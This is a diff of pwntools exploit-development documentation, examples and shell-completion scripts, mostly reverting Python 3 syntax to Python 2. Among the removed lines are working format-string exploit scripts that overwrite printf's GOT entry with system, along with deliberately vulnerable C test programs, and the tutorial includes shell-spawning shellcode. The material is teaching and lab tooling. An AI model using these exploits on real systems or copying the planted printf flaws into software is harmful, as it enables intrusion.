-    >>> sh.sendline(b'sleep 3; echo hello world;')
+    >>> sh.sendline('sleep 3; echo hello world;')
    >>> sh.recvline(timeout=1)
-    b''
+    ''
    >>> sh.recvline(timeout=5)
-    b'hello world\n'
+    'hello world\n'
    >>> sh.close()

 Not only can you interact with processes programmatically, but you can
@@ -81,14 +74,14 @@ a ``process`` tube.

    >>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
    >>> shell['whoami']
-    b'bandit0'
+    'bandit0'
    >>> shell.download_file('/etc/motd')
    >>> sh = shell.run('sh')
-    >>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
+    >>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
    >>> sh.recvline(timeout=1)
-    b''
+    ''
    >>> sh.recvline(timeout=5)
-    b'hello world\n'
+    'hello world\n'
    >>> shell.close()

 Packing Integers
@@ -104,13 +97,13 @@ unpacking codes, and littering your code with helper routines.
    >>> import struct
    >>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
    True
-    >>> leet = unhex('37130000')
-    >>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
+    >>> leet = '37130000'.decode('hex')
+    >>> u32('abcd') == struct.unpack('I', 'abcd')[0]
    True

 The packing/unpacking operations are defined for many common bit-widths.

-    >>> u8(b'A') == 0x41
+    >>> u8('A') == 0x41
    True

 Setting the Target Architecture and OS
@@ -119,9 +112,9 @@ Setting the Target Architecture and OS
 The target architecture can generally be specified as an argument to the routine that requires it.

    >>> asm('nop')
-    b'\x90'
+    '\x90'
    >>> asm('nop', arch='arm')
-    b'\x00\xf0 \xe3'
+    '\x00\xf0 \xe3'

 However, it can also be set once in the global ``context``.  The operating system, word size, and endianness can also be set here.

@@ -133,10 +126,10 @@ However, it can also be set once in the global ``context``.  The operating syste
 Additionally, you can use a shorthand to set all of the values at once.

    >>> asm('nop')
-    b'\x90'
+    '\x90'
    >>> context(arch='arm', os='linux', endian='big', word_size=32)
    >>> asm('nop')
-    b'\xe3 \xf0\x00'
+    '\xe3 \xf0\x00'

 .. doctest::
   :hide:
@@ -165,12 +158,12 @@ Assembly and Disassembly
 Never again will you need to run some already-assembled pile of shellcode
 from the internet!  The :mod:`pwnlib.asm` module is full of awesome.

-    >>> enhex(asm('mov eax, 0'))
+    >>> asm('mov eax, 0').encode('hex')
    'b800000000'

 But if you do, it's easy to suss out!

-    >>> print(disasm(unhex('6a0258cd80ebf9')))
+    >>> print disasm('6a0258cd80ebf9'.decode('hex'))
       0:   6a 02                   push   0x2
       2:   58                      pop    eax
       3:   cd 80                   int    0x80
@@ -183,7 +176,7 @@ loaded with useful time-saving shellcodes.
 Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
 file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!

-    >>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
+    >>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex') # doctest: +ELLIPSIS
    '6a3158cd80...'


@@ -195,10 +188,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.

 Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.

-    >>> cyclic(20)
-    b'aaaabaaacaaadaaaeaaa'
-    >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
-    >>> cyclic_find(b'faab')
+    >>> print cyclic(20)
+    aaaabaaacaaadaaaeaaa
+    >>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166))  at crash time
+    >>> print cyclic_find('faab')
    120

 ELF Manipulation
@@ -207,22 +200,22 @@ ELF Manipulation
 Stop hard-coding things!  Look them up at runtime with :mod:`pwnlib.elf`.

    >>> e = ELF('/bin/cat')
-    >>> print(hex(e.address)) #doctest: +SKIP
+    >>> print hex(e.address) #doctest: +SKIP
    0x400000
-    >>> print(hex(e.symbols['write'])) #doctest: +SKIP
+    >>> print hex(e.symbols['write']) #doctest: +SKIP
    0x401680
-    >>> print(hex(e.got['write'])) #doctest: +SKIP
+    >>> print hex(e.got['write']) #doctest: +SKIP
    0x60b070
-    >>> print(hex(e.plt['write'])) #doctest: +SKIP
+    >>> print hex(e.plt['write']) #doctest: +SKIP
    0x401680

 You can even patch and save the files.

    >>> e = ELF('/bin/cat')
    >>> e.read(e.address, 4)
-    b'\x7fELF'
+    '\x7fELF'
    >>> e.asm(e.address, 'ret')
    >>> e.save('/tmp/quiet-cat')
-    >>> disasm(open('/tmp/quiet-cat','rb').read(1))
+    >>> disasm(file('/tmp/quiet-cat','rb').read(1))
    '   0:   c3                      ret'

@@ -1 +1,15 @@
+:mod:`pwnlib.protocols` --- Wire Protocols
+=============================================
+
+.. automodule:: pwnlib.protocols
+
+
+Supported Protocols
+-------------------
+
+.. toctree::
+    :maxdepth: 3
+    :glob:
+
+    protocols/*

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   from pwnlib.protocols.adb import AdbClient
+
+:mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
+===========================================================
+
+.. automodule:: pwnlib.protocols.adb
+   :members:
@@ -1,3 +1,7 @@
+.. testsetup:: *
+
+   from pwn import *
+
 :mod:`pwnlib.rop` --- Return Oriented Programming
 =================================================

@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   import tempfile
-
-:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
-========================================================
-
-.. automodule:: pwnlib.rop.ret2dlresolve
-   :members:
@@ -1,23 +1,6 @@
 .. testsetup:: *

-   import time
-   from glob import glob
-
-   from pwnlib.asm import asm
-   from pwnlib import constants
-   from pwnlib.context import context
-   from pwnlib.elf import ELF
-   from pwnlib.rop import ROP
-   from pwnlib.rop.call import Call, AppendedArgument
-   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
-   from pwnlib.util.packing import *
-   from pwnlib.util.fiddling import *
-   from pwnlib.tubes.process import process
-   from pwnlib import shellcraft
-   from pwnlib.util.misc import which
-
-   context.clear()
-
+   from pwn import *

 :mod:`pwnlib.rop.rop` --- Return Oriented Programming
 ==========================================================
@@ -1,11 +1,6 @@
 .. testsetup:: *

-   from pwnlib.rop.srop import *
-
-   from pwnlib import constants
-   from pwnlib import shellcraft
-   from pwnlib.elf import ELF
-   from pwnlib.tubes.process import process
+   from pwn import *

 :mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
 ==========================================================
@@ -1,7 +1,6 @@
 .. testsetup:: *

-   from pwnlib.runner import *
-   from pwnlib.asm import asm
+   from pwn import *

 :mod:`pwnlib.runner` --- Running Shellcode
 ===========================================
@@ -1,15 +1,6 @@
 .. testsetup:: *

-   import tempfile
-
-   from pwnlib import shellcraft
-
-   from pwnlib.asm import asm
-   from pwnlib.context import context
-   from pwnlib.runner import run_assembly
-   from pwnlib.util.fiddling import enhex
-   from pwnlib.util.misc import write
-
+   from pwn import *
   context.clear(arch='mips')

 :mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
@@ -3,9 +3,3 @@

 .. automodule:: pwnlib.term
   :members:
-
-Term Modules
-------------------
-
-.. toctree::
-    term/readline
@@ -1,10 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.term.readline import *
-   import io
-
-:mod:`pwnlib.term.readline` --- Terminal nice readline
-======================================================
-
-.. automodule:: pwnlib.term.readline
-   :members:
@@ -1,9 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.tubes.buffer import *
-
-:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
-==============================================================
-
-.. automodule:: pwnlib.tubes.buffer
-   :members:
@@ -14,10 +14,6 @@
      :members: kill, poll, interactive
      :show-inheritance:

-   .. autoclass:: pwnlib.tubes.ssh.ssh_process
-      :members:
-      :show-inheritance:
-
   .. autoclass:: pwnlib.tubes.ssh.ssh_connecter()
      :show-inheritance:

@@ -1,8 +1,3 @@
-.. testsetup:: *
-
-   from pwn import *
-   import io
-
 :mod:`pwnlib.ui` --- Functions for user interaction
 ===================================================

@@ -1,11 +0,0 @@
-.. testsetup:: *
-
-   from pwnlib.util.getdents import *
-   from pwnlib.util.fiddling import unhex
-
-
-:mod:`pwnlib.util.getdents` --- Linux binary directory listing
-==============================================================
-
-.. automodule:: pwnlib.util.getdents
-   :members:
@@ -17,19 +17,19 @@
     count                                  ,
     cycle                                  ,
     dropwhile                              ,
-     filter                                 ,
-     filterfalse                            ,
     groupby                                ,
+     ifilter                                ,
+     ifilterfalse                           ,
+     imap                                   ,
     islice                                 ,
-     map                                    ,
+     izip                                   ,
+     izip_longest                           ,
     permutations                           ,
     product                                ,
     repeat                                 ,
     starmap                                ,
     takewhile                              ,
-     tee                                    ,
-     zip                                    ,
-     zip_longest
+     tee

 .. function:: chain

@@ -63,29 +63,29 @@

   Alias for :func:`itertools.groupby`

-.. function:: filter
+.. function:: ifilter

-   Alias for python3-style :func:`filter`
+   Alias for :func:`itertools.ifilter`

-.. function:: filterfalse
+.. function:: ifilterfalse

-   Alias for :func:`itertools.filterfalse`
+   Alias for :func:`itertools.ifilterfalse`

-.. function:: map
+.. function:: imap

-   Alias for python3-style :func:`map`
+   Alias for :func:`itertools.imap`

 .. function:: islice

   Alias for :func:`itertools.islice`

-.. function:: zip
+.. function:: izip

-   Alias for python3-style :func:`zip`
+   Alias for :func:`itertools.izip`

-.. function:: zip_longest
+.. function:: izip_longest

-   Alias for :func:`itertools.zip_longest`
+   Alias for :func:`itertools.izip_longest`

 .. function:: permutations

@@ -1,8 +1,8 @@
 .. testsetup:: *

-   from pprint import pprint
   from pwnlib.util.misc import *
   import os, subprocess
+   os.chdir("..")

 :mod:`pwnlib.util.misc` --- We could not fit it any other place
 ===============================================================
@@ -2,6 +2,7 @@

   from pwnlib.util.net import *

+
 :mod:`pwnlib.util.net` --- Networking interfaces
 ===================================================

@@ -1,7 +1,6 @@
 .. testsetup:: *

   from pwnlib.util.proc import *
-   from pwnlib.tubes.process import process
   import os, sys


@@ -1,7 +1,5 @@
 .. testsetup:: *

-   import tempfile
-
   from pwnlib.context import context
   from pwnlib.util.web import *

@@ -26,10 +26,6 @@ Try running this example with::
 ```
 Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
 ```
-* `attach.py`
-```
-Example showing `pwnlib.gdb.attach()`
-```
 * `clean_and_log.py`
 ```
 Use case for `pwnlib.tubes.tube.clean_and_log`.
@@ -69,7 +65,8 @@ Example showing `pwnlib.ui.options()`
 ```
 * `port_forward.py`
 ```
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
+that `<>` is just a shorthand.
 ```
 * `readline_completers.py`
 ```
@@ -77,10 +74,6 @@ Example showing pwnlib's readline implementation and a few completers.  This
 part of pwnlib will probably see some major changes soon, but we wanted to show
 off some proof-of-concepts.
 ```
-* `remote.py`
-```
-Example showing how to use the remote class.
-```
 * `remote_gdb_debugging.py`
 ```
 Simple example showing how to use the remote
@@ -110,7 +103,7 @@ and::

  $ TERM=xterm-256color python text.py
 ```
-* `yesno.py`
+* `remote.py`
 ```
-Example showing `pwnlib.ui.yesno()`
+Example showing how to use the remote class.
 ```
@@ -1,25 +1,22 @@
-from __future__ import print_function
-
-import gdb
-from pwn import adb, context
+from pwn import *

 # Tell pwntools that the target is an Android device
-context.os = "android"
-context.arch = "aarch64"  # or 'arm'
+context.os='android'
+context.arch='aarch64' # or 'arm'

 # Optionally, set the remote ADB server address
-context.adb_host = "172.16.110.1"
+context.adb_host='172.16.110.1'

 # Wait for a device to become available
-print(adb.wait_for_device())
+print adb.wait_for_device()

 # Who am I?
-print(adb.process("id").recvall().strip())
+print adb.process('id').recvall().strip()

 # Interactive sessions!
 io = adb.shell()
-io.sendline("echo Hello, world; exit")
-print(io.recvall().replace("\r\n", "\n").strip())
+io.sendline('echo Hello, world; exit')
+print io.recvall().replace('\r\n', '\n').strip()

 # Debugging!
-gdb.debug("sh").interactive()
+gdb.debug('sh').interactive()
@@ -14,5 +14,5 @@ Try running this example with::

 from pwn import *

-print(args['RHOST'] or 'RHOST is not set')
-print(args['RPORT'] or 'RPORT is not set')
+print args['RHOST'] or 'RHOST is not set'
+print args['RPORT'] or 'RPORT is not set'
@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
 shellcode = shellcraft.i386_to_amd64()
 shellcode_asm = asm(shellcode)

-print(enhex(shellcode_asm))
-print(disasm(shellcode_asm))
+print enhex(shellcode_asm)
+print disasm(shellcode_asm)
@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
 from pwn import *

 bash = process('/bin/bash')
-gdb.attach(bash, gdbscript = '''
+gdb.attach(bash, execute = '''
 p "hello from pwnlib"
 c
 ''')
@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)

 while True:
    line = r.recvline()
-    print(re.findall(r'^prefix (\S+)$', line)[0])
+    print re.findall('^prefix (\S+)$', line)[0]
@@ -1,53 +0,0 @@
-CFLAGS := -Wno-unused-result -Wno-format-security
-TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
-	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
-	         printf-loop.native printf-loop.native32
-
-.PHONY: run
-run: all
-	./exploit2.py
-	./exploit.py
-
-.PHONY: all
-all: $(TARGETS)
-
-.PHONY: clean
-clean:
-	rm -f $(TARGETS)
-
-# mips variants
-%.mips: %.c
-	mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.mipsel: %.c
-	mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.mips64: %.c
-	mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.mips64el: %.c
-	mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# arm variants
-%.arm: %.c
-	arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.aarch64: %.c
-	aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# ppc variants
-%.ppc: %.c
-	powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-%.ppc64: %.c
-	powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# sparc variants
-%.sparc64: %.c
-	sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
-
-# native variants
-%.native: %.c
-	gcc $(CFLAGS) -o "$@" $^
-%.native32: %.c
-	gcc $(CFLAGS) -m32 -o "$@" $^
-
-# install deps on ubuntu xenial
-.PHONY: install-apt
-install-apt:
-	apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc
@@ -1,39 +0,0 @@
-#!/usr/bin/env python
-from pwn import *
-
-@context.quiet
-def exec_fmt(payload):
-    p = context.binary.process()
-    p.sendline(payload)
-    return p.recvall()
-
-def exploit(binary):
-    context.binary = ELF(binary)
-    autofmt = FmtStr(exec_fmt)
-    offset = autofmt.offset
-    with context.binary.process() as p:
-        addr = unpack(p.recv(context.bytes))
-        payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
-        p.sendline(payload)
-        p.recvuntil(b"DONE")
-        print(hex(u32(p.recv(4))))
-
-binaries = [
-    "printf.mips",
-    "printf.mips64",
-    "printf.mipsel",
-    "printf.mips64el",
-    "printf.native",
-    "printf.native32",
-    "printf.ppc",
-    "printf.ppc64",
-    "printf.sparc64",
-    "printf.arm",
-    "printf.aarch64",
-]
-
-if len(sys.argv) > 1:
-    binaries = sys.argv[1:]
-
-for binary in binaries:
-    exploit(binary)
@@ -1,68 +0,0 @@
-#!/usr/bin/env python
-"""
-An example combining fmtstr and dynelf to automatically exploit a PIE binary.
-"""
-
-from pwn import *
-
-def exploit(e):
-    p = e.process()
-
-    def executer(fmt):
-        p.sendline(fmt)
-        p.stdin.flush()
-        r = p.recvuntil(b'again=\n')
-        return r
-    f = FmtStr(executer)
-
-    # find some code pointer on stack
-    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
-    min_code_ptr = 0x10 << addrbits-8
-    max_code_ptr = 0x7e << addrbits-8
-    for off in range(64):
-        random_code_ptr = f.leak_stack(off)
-        packed = bytearray(pack(random_code_ptr))
-        chars = set(packed) - {0}
-        # simple heuristic
-        if (min_code_ptr < random_code_ptr < max_code_ptr
-            and max(chars) > 0x80 and min(chars) < 0x80
-            and not hex(random_code_ptr).startswith('0x7ff')):
-            break
-
-    log.info("Code ptr: %#x"%random_code_ptr)
-
-    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
-
-    print("Stack: %#x" % (online_elf.stack(),))
-    print("Heap: %#x" % (online_elf.heap(),))
-
-    info("Finding base address of the executable")
-    for ref in e.sym:
-        if not ref:
-            continue
-        # if we have the address of a symbol on remote, we know the offset
-        ref_addr = online_elf.lookup(ref)
-        if ref_addr:
-            print("%s: %r" % (ref, ref_addr))
-            break
-
-    system = online_elf.lookup('system', 'libc')
-    print("system: %#x" % system)
-
-    # fix up the address
-    e.address += ref_addr - e.sym[ref]
-
-    # actual exploit: overwrite printf with system
-    f.write(e.sym.got.printf, system)
-    f.execute_writes()
-
-    p.sendline(b'echo ::$(( 16 * 16 ))')
-    p.recvuntil(b'::')
-    line = p.recvline()
-    assert line == b'256\n'
-    p.sendline(b'exit')
-    p.close()
-
-
-for context.binary in 'printf-loop.native32', 'printf-loop.native':
-    exploit(context.binary)
@@ -1,14 +0,0 @@
-#include <stdio.h>
-#include <unistd.h>
-
-int main() {
-  while (1) {
-    char str[256];
-    int n = read(STDIN_FILENO, str, sizeof(str) - 1);
-    str[n] = '\0';
-    printf(str);
-    printf("\n=try again=\n");
-    fflush(stdout);
-  }
-  return 0;
-}
@@ -1,29 +0,0 @@
-#ifdef _FORTIFY_SOURCE
-#undef _FORTIFY_SOURCE
-#endif
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/mman.h>
-#define MEMORY_ADDRESS ((void*)0x11110000)
-#define MEMORY_SIZE 1024
-#define TARGET ((int *) 0x11110100)
-int main(int argc, char const *argv[])
-{
-       char buff[1024];
-       void *ptr = NULL;
-       int *my_var = TARGET;
-       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
-       if(ptr != MEMORY_ADDRESS)
-       {
-               perror("mmap");
-               return EXIT_FAILURE;
-       }
-       *my_var = 0x41414141;
-       write(1, &my_var, sizeof(int *));
-       scanf("%s", buff);
-       dprintf(2, buff);
-       write(1, "DONE", 4);
-       write(1, my_var, sizeof(int));
-       return 0;
-}
@@ -1,112 +0,0 @@
-#!/usr/bin/env python3
-"""An example of using GDB Python API with Pwntools."""
-from pwn import *
-
-
-def check_write(gdb, exp_buf):
-    """Check that write() was called with the expected arguments."""
-    fd = gdb.parse_and_eval('$rdi').cast(gdb.lookup_type('int'))
-    assert fd == 1, fd
-    buf_addr = gdb.parse_and_eval('$rsi').cast(gdb.lookup_type('long'))
-    count = gdb.parse_and_eval('$rdx').cast(gdb.lookup_type('long'))
-    buf = gdb.selected_inferior().read_memory(buf_addr, count).tobytes()
-    assert buf == exp_buf, buf
-
-
-def demo_sync_breakpoint(cat, gdb, txt):
-    """Demonstrate a synchronous breakpoint."""
-    # set the synchronous breakpoint on ``write``
-    gdb.Breakpoint('write', temporary=True)
-
-    # resume the program
-    gdb.continue_nowait()
-
-    # send the line
-    cat.sendline(txt)
-
-    # wait until we hit the breakpoint
-    gdb.wait()
-
-    # inspect program state
-    check_write(gdb, (txt + '\n').encode())
-
-    # resume the program
-    gdb.continue_nowait()
-
-    # expect to observe the line we just sent
-    cat.recvuntil(txt)
-
-
-def demo_async_breakpoint(cat, gdb, txt):
-    """Demonstrate asynchronous breakpoint."""
-    # set the asynchronous breakpoint on ``write``
-    class WriteBp(gdb.Breakpoint):
-        def __init__(self):
-            super().__init__('write')
-            self.count = 0
-
-        def stop(self):
-            # called in a separate thread
-            check_write(gdb, (txt + '\n').encode())
-            self.count += 1
-
-    bp = WriteBp()
-
-    # resume the program
-    gdb.continue_nowait()
-
-    # send the line and immediately expect to observe it
-    cat.sendline(txt)
-    cat.recvuntil(txt)
-
-    # check that we hit the breakpoint
-    assert bp.count == 1, bp.count
-
-    # interrupt the program
-    gdb.interrupt_and_wait()
-
-    # delete the breakpoint
-    bp.delete()
-
-    # resume the program
-    gdb.continue_nowait()
-
-
-def main():
-    # start ``cat`` under GDB
-    with gdb.debug('cat', gdbscript='''
-set logging on
-set pagination off
-''', api=True) as cat:
-
-        # the process is stopped
-        # set the synchronous breakpoint on ``read``
-        cat.gdb.Breakpoint('read', temporary=True)
-
-        # resume and wait until we hit it
-        cat.gdb.continue_and_wait()
-
-        # demonstrate a more interesting synchronous breakpoint
-        demo_sync_breakpoint(cat, cat.gdb, 'foo')
-
-        # terminate GDB
-        cat.gdb.quit()
-
-    # now start ``cat`` normally
-    with process('cat') as cat:
-        # attach GDB
-        _, cat_gdb = gdb.attach(cat, gdbscript='''
-set logging on
-set pagination off
-''', api=True)
-
-        # the process is stopped
-        # demonstrate asynchronous breakpoint
-        demo_async_breakpoint(cat, cat_gdb, 'bar')
-
-        # terminate GDB
-        cat_gdb.quit()
-
-
-if __name__ == '__main__':
-    main()
@@ -24,7 +24,7 @@ def append_example(_arg, top, names):
            continue
        path = os.path.join(top, name)[2:] # strip './'
        log.info('-> %s' % path)
-        data = read(path).strip().decode()
+        data = read(path).strip()
        if data[0:3] not in ('"""', "'''"):
            log.warning('  Has no docstring!')
            continue
@@ -37,7 +37,6 @@ def append_example(_arg, top, names):
        out += '* `%s`\n' % path
        out += '```%s```\n' % doc

-for path, dirs, files in os.walk('.', onerror=None):
-    append_example(dirs, path, sorted(files))
+os.path.walk('.', append_example, None)

 write('README.md', out)
@@ -5,4 +5,4 @@ Example showing `pwnlib.ui.options()`
 from pwn import *

 opts = [string.letters[x] for x in range(10)]
-print('You choose "%s"' % opts[options('Pick one:', opts)])
+print 'You choose "%s"' % opts[options('Pick one:', opts)]
@@ -1,10 +1,11 @@
 """
-A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
+A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.  Notice
+that `<>` is just a shorthand.
 """

 from pwn import *

 while True:
-    listen(1337).wait_for_connection().connect_both(remote('google.com', 80))
+    listen(1337).wait_for_connection() <> remote('google.com', 80)

 # now point your browser (or curl(1)) to http://localhost:1337
@@ -19,13 +19,13 @@ c1 = LongestPrefixCompleter([
 c2 = PathCompleter(mask = '*.py')

 with c1:
-    print('type "exit" to exit')
+    print 'type "exit" to exit'
    while True:
-        s = str_input(prompt = '> ').strip()
+        s = term.readline.readline(prompt = '> ').strip()
        if s in ('exit', 'enough!'):
            break
-        print('You wrote', s)
+        print 'You wrote', s
 with c2:
-    print('choose a file')
-    s = str_input(prompt = text.bold_green('$ ')).strip()
-    print('You picked', s)
+    print 'choose a file'
+    s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
+    print 'You picked', s
@@ -6,6 +6,6 @@ from pwn import *

 sock = remote('127.0.0.1', 9001)

-print(sock.recvline())
+print sock.recvline()
 sock.send('foo')
 sock.interactive()
@@ -8,10 +8,10 @@ import getpass
 from pwn import *

 s = ssh(getpass.getuser(), '127.0.0.1', port = 22, keyfile = "~/.ssh/id_rsa")
-c = gdb.ssh_gdb(s, '/bin/sh', gdbscript = '''
+c = gdb.ssh_gdb(s, '/bin/sh', execute = '''
 p/x $pc
 c''')

 c.sendline('ls -la')
 c.sendline('exit')
-print(c.recvall())
+print c.recvall()
@@ -3,12 +3,11 @@ context.arch='aarch64'
 frame = SigreturnFrame()

 registers = ['x%i' % i for i in range(0, 31)]
-registers += ['pc']
+registers += ['sp', 'pc']


 for index, register in enumerate(registers):
    setattr(frame, register, index)
-frame.sp = 64

 assembly = '\n'.join([
    shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,9 +23,8 @@ assert io.poll() == -11

 corefile = io.corefile

-for register in registers:
+for index, register in enumerate(registers):
    value = getattr(corefile, register)
-    index = getattr(frame, register)
    if index != value:
        log.error("%s != %i (%i)" % (register, index, value))
    else:
@@ -4,12 +4,11 @@ context.arch='arm'
 frame = SigreturnFrame()

 registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
-             'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
+             'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']


 for index, register in enumerate(registers):
    setattr(frame, register, index)
-frame.sp = 64

 assembly = '\n'.join([
    shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -25,9 +24,8 @@ assert io.poll() == -11

 corefile = io.corefile

-for register in registers:
+for index, register in enumerate(registers):
    value = getattr(corefile, register)
-    index = getattr(frame, register)
    if index != value:
        log.error("%s != %i (%i)" % (register, index, value))
    else:
@@ -10,9 +10,9 @@ n = 1
 h = log.waitfor('spinners running', status = str(n))

 hs = []
-print('type "q" to quit')
+print 'type "q" to quit'
 while True:
-    s = str_input('> ').strip()
+    s = raw_input('> ')
    if s == 'q':
        break
    hs.append(log.waitfor(s, status = 'running'))
@@ -9,5 +9,5 @@ splash()
 h = log.waitfor("You wrote", status = "--")

 while True:
-    l = str_input('> ').strip()
+    l = raw_input('> ')
    h.status(l.upper())
@@ -14,7 +14,7 @@ log.info("pwd: %s" % shell.pwd())
 tube = shell.run('cat')
 tube.send("Hello, cat")
 tube.shutdown("out")
-print(tube.recvall())
+print tube.recvall()

 # Show automatic working directories
 shell.set_working_directory()
@@ -29,21 +29,12 @@ int main() {

 shell.gcc(['example.c','-o','example'])

-print(shell['./example'])
+print shell['./example']

 # Show the different styles of calling
-print(shell.echo("single string"))
-print(shell.echo(["list","of","strings"]))
-print(shell["echo single statement"])
-
-# ssh.process() is the most flexible way to run a command)
-io = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'], 
-                   env={'FOO': 'World'}, # Set environment
-                   stderr='/dev/null',   # Override file descriptors
-                   aslr=False,           # Disable ASLR on processes
-                   setuid=False,         # Disable setuid bit so processes can be debugged
-                   shell=False)          # Enable or disable shell evaluation
-print(io.recvall())
+print shell.echo("single string")
+print shell.echo(["list","of","strings"])
+print shell["echo single statement"]

 # Show off the interactive shell
 shell.interactive()
@@ -12,8 +12,8 @@ and::
 from pwn import *

 s = 'hello from pwntools'
-print(text.black_on_green(s))
-print(text.black_on_bright_green(s))
-print(text.green_on_black(s))
-print(text.bright_green_on_black(s))
-print(text.bold_green_on_black(s))
+print text.black_on_green(s)
+print text.black_on_bright_green(s)
+print text.green_on_black(s)
+print text.bright_green_on_black(s)
+print text.bold_green_on_black(s)
@@ -5,6 +5,6 @@ Example showing `pwnlib.ui.yesno()`
 from pwn import *

 if ui.yesno('Do you like Pwntools?'):
-    print(':D')
+    print ':D'
 else:
-    print(':(')
+    print ':('
@@ -1,12 +0,0 @@
-# Bash Completion
-
-To install the completion, add `. /path/to/bash_completion.d/pwn`to your e.g. `~/.bash_profile`.
-
-The `./install.sh` script attempts to do this for you automatically.
-
-### Shellcraft Autocomplete
-
-The legacy autocompletion for `pwn shellcraft` is also available at `./shellcraft`.  
-
-It is unsupported, and slow (runs `pwn shellcraft -l` every time your shell starts).
-
@@ -1,13 +0,0 @@
-#!/usr/bin/env bash
-
-BASH_COMPLETION_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)
-
-if grep "$BASH_COMPLETION_DIR" ~/.bash_profile; then
-    >&2 echo "Already installed"
-    exit
-fi >/dev/null
-
-cat >> ~/.bash_profile <<EOF
-# Install autocompletion for Pwntools
-. "$BASH_COMPLETION_DIR/pwn"
-EOF
@@ -1,103 +0,0 @@
-#!/usr/bin/env bash
-# AUTOMATCALLY GENERATED by `shtab`
-
-_shtab_pwnlib_options_='-h --help'
-_shtab_pwnlib_commands_='asm checksec constgrep cyclic debug disablenx disasm elfdiff elfpatch errno hex phd pwnstrip scramble shellcraft template unhex update version'
-
-_shtab_pwnlib_asm='-h --help -f --format -o --output -c --context -v --avoid -n --newline -z --zero -d --debug -e --encoder -i --infile -r --run'
-_shtab_pwnlib_checksec='-h --help --file'
-_shtab_pwnlib_constgrep='-h --help -e --exact -i --case-insensitive -m --mask-mode -c --context'
-_shtab_pwnlib_cyclic='-h --help -a --alphabet -n --length -c --context -l -o --offset --lookup'
-_shtab_pwnlib_debug='-h --help -x --pid -c --context --exec --process --sysroot'
-_shtab_pwnlib_disablenx='-h --help'
-_shtab_pwnlib_disasm='-h --help -c --context -a --address --color --no-color'
-_shtab_pwnlib_elfdiff='-h --help'
-_shtab_pwnlib_elfpatch='-h --help'
-_shtab_pwnlib_errno='-h --help'
-_shtab_pwnlib_hex='-h --help'
-_shtab_pwnlib_phd='-h --help -w --width -l --highlight -s --skip -c --count -o --offset --color'
-_shtab_pwnlib_pwnstrip='-h --help -b --build-id -p --patch -o --output'
-_shtab_pwnlib_scramble='-h --help -f --format -o --output -c --context -p --alphanumeric -v --avoid -n --newline -z --zero -d --debug'
-_shtab_pwnlib_shellcraft='-h --help -? --show -o --out -f --format -d --debug -b --before -a --after -v --avoid -n --newline -z --zero -r --run --color --no-color --syscalls --address -l --list -s --shared'
